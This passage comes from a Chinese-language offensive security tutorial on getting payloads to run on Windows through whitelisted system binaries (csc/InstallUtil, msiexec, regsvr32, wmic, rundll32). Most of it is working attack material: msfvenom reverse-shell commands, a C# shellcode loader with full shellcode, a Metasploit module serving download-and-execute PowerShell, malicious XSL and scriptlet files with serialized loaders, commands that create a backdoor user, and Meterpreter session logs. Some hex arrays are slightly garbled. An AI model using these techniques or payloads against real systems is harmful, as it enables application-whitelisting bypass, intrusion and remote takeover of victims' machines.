0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5};
IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTf wBS = IntPtr.Zero;
uint BnhanUiUJaetgy;
bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);
oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}
}
11.7 基于白名单Csc.exe执行payload（七）
Csc.exe简介：
C#的在Windows平台下的编译器名称是Csc.exe，如果你的.NET FrameWork SDK安装在C盘，那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便，你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单，打开命令提示符，并切换到存放 test.cs文件的目录中，输入下列行命令:csc /target:exe test.cs 将Ttest.cs 编译成名为 test.exe 的 console 应用程序
说明： Csc.exe所在路径没有被系统添加PATH环境变量中，因此，csc命令无法识别。
基于白名单Csc.exe配置payload：
Windows 7 默认位置：
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
攻击机：192.168.1.4 Debian
靶机：192.168.1.5 Windows 7
配置攻击机msf：
配置payload：
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f csharp
copy buf 到 Micropoor_Csc.cs shellcode 中。
靶机执行：
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor_Csc.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe
与第七十二课相比，payload更为灵活。
附录：Micropoor_Csc.cs
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
// msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp
public class Program
{
public static void Main()
{
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Shellcode.Exec();
}
}
public class Shellcode
{
public static void Exec()
{
byte[] shellcode = new byte[510] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
11.8 基于白名单Msiexec执行payload（八）
Msiexec简介：
Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包（MSI）,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于 Windows 2003，Windows 7 等。
说明：Msiexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。
基于白名单Msiexec.exe配置payload：
Windows 2003 默认位置：
C:\WINDOWS\system32\msiexec.exe
C:\WINDOWS\SysWOW64\msiexec.exe
攻击机：192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003
配置攻击机msf：
配置payload：
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f msi > Micropoor_rev_x64_53.txt
靶机执行：
C:\Windows\System32\msiexec.exe /q /i http://192.168.1.4/Micropoor_rev\_x64_53.txt
11.9 基于白名单Regsvr32执行payload（九）
Regsvr32简介：
Regsvr32命令用于注册COM组件，是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令，以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下；2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL，需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式，或者提供DllInstall输出函数。
说明：Regsvr32.exe所在路径已被系统添加PATH环境变量中，因此，Regsvr32命令可识别。
Windows 2003 默认位置：
C:\WINDOWS\SysWOW64\regsvr32.exe
C:\WINDOWS\system32\regsvr32.exe
攻击机：192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003
msf 已内置auxiliary版本的regsvr32_command_delivery_server，但是最新版已经无exploit版本regsvr32，文章结尾补充。
配置攻击机msf：
msf auxiliary(server/regsvr32_command_delivery_server) > use auxiliary/server/regsvr32_command_delivery_server
msf auxiliary(server/regsvr32_command_delivery_server) > set CMD net user Micropoor Micropoor /add
CMD => net user Micropoor Micropoor /add
msf auxiliary(server/regsvr32_command_delivery_server) > exploit
[*] Using URL: http://0.0.0.0:8080/ybn7xESQYCGv
[*] Local IP: http://192.168.1.4:8080/ybn7xESQYCGv
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll
靶机执行：
regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll
附：powershell 版 Regsvr32
regsvr32_applocker_bypass_server.rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit‐framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {
})
super(update_info(info,
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)
'Trenton Ivey', # MSF Module (kn0)
],
'DefaultOptions' =>
{
'Payload' => 'windows/meterpreter/reverse_tcp'
},
'Targets' => [['PSH', {
}]],
'Platform' => %w(win),
'Arch' => [ARCH_X86, ARCH_X86_64],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 19 2016',
'References' =>
[
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']
]
))
end
def primer
print_status('Run the following command on the target machine:')
print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")
end
def on_request_uri(cli, _request)
# If the resource request ends with '.sct', serve the .sct file
# Otherwise, serve the PowerShell payload
if _request.raw_uri =~ /\.sct$/
serve_sct_file
else
serve_psh_payload
end
end
def serve_sct_file
print_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
data = gen_sct_file(psh_command)
send_response(cli, data, 'Content‐Type' => 'text/plain')
end
def serve_psh_payload
print_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
)
send_response(cli,data,'Content‐Type' => 'application/octet‐stream')
end
def rand_class_id
"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"
end
def gen_sct_file(command)
%{
<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}
end
end
使用方法：
copy regsvr32_applocker_bypass_server.rb to /usr/share/metasploit-framework/modules/exploits/windows/misc
11.10 基于白名单Wmic执行payload（十）
Wmic简介：
WMIC扩展WMI（Windows Management Instrumentation，Windows管理工具），提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用WMI的脚本编程API，或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。WMIC改变了这种情况。
说明：Wmic.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Wmic调用。
Windows 2003 默认位置：
C:\WINDOWS\system32\wbem\wmic.exe
C:\WINDOWS\SysWOW64\wbem\wmic.exe
Windows 7 默认位置：
C:\Windows\System32\wbem\WMIC.exe
C:\Windows\SysWOW64\wbem\WMIC.exe
攻击机：
192.168.1.4 Debian
靶机：
192.168.1.119 Windows 2003
192.168.1.5 Windows 7
配置攻击机msf：
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target 23
靶机执行：
Windows 7：
C:\Windows\SysWOW64\wbem\WMIC.exe os get
/format:"http://192.168.1.4/Micropoor.xsl"
Windows 2003：
WMIC.exe os get /format:"http://192.168.1.4/Micropoor_2003.xsl"
附录：
Micropoor_Win7.xsl：
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐microsoft‐com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements‐prefix="user" language="JScript">
<![CDATA[
function setversion() {
}
function debug(s) {
}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+
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"AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAA"+
"AQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAB0AgAAAAAAAAAAAAB0AjQAAABW"+
"AFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAA"+
"PwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAA"+
"AAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAE1AEAAAEAUwB0AHIAaQBuAGcA"+
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"AAAAADAALgAwAC4AMAAuADAAAABQABcAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHcAbQBp"+
"AF8AYwBzAF8AZABsAGwAXwBwAGEAeQBsAG8AYQBkAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEA"+
"bABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABYABcAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBu"+
"AGEAbQBlAAAAdwBtAGkAXwBjAHMAXwBkAGwAbABfAHAAYQB5AGwAbwBhAGQALgBkAGwAbAAAAAAA"+
"NAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAAB"+
"AEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABA6AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+
"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";
var entry_class = 'ShellCodeLauncher.Program';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var d = fmt.Deserialize_2(stm);
al.Add(undefined);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
} catch (e) {
debug(e.message);
}
]]> </ms:script>
</stylesheet>
Micropoor_2003.xsl:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐microsoft‐com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements‐prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("net user Micropoor Micropoor /add");
]]> </ms:script>
</stylesheet>
11.11 基于白名单Rundll32.exe执行payload（十一）
Rundll32简介：
Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
说明：Rundll32.exe所在路径已被系统添加PATH环境变量中，因此，Wmic命令可识别，需注意x86，x64位的Rundll32调用。
Windows 2003 默认位置：
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
Windows 7 默认位置：
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
攻击机：
192.168.1.4 Debian
靶机：
192.168.1.119 Windows 2003
192.168.1.5 Windows 7
基于远程加载（1）：
配置攻击机msf：
注：x86 payload
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
靶机执行：
C:\Windows\SysWOW64\rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:http://192.168.1.4/Rundll32_shellcode")
注：x64 rundll32.exe
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 57 opened (192.168.1.4:53 ‐> 192.168.1.5:41274)
at 2019‐01‐19 04:13:26 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 7064
meterpreter >
基于本地加载（2）：
payload配置：
msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f dll > Micropoor_Rundll32.dll
靶机执行：
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.5
[*] Meterpreter session 63 opened (192.168.1.4:53 ‐> 192.168.1.5:43320)
at 2019‐01‐19 04:34:59 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 6656
基于命令执行（3）：
靶机执行：
Windows 2003：
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()");
注：如靶机支持powershell，调用powershell更贴合实战。
附录：Rundll32_shellcode
<?xml version="1.0"?>
<package>
<component id="Micropoor">
<script language="JScript">
<![CDATA[
function setversion() {
}
function debug(s) {
}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
var serialized_obj = "AAEAAAD/AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+
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"BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgAu"+
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"aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQAA"+
"AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+
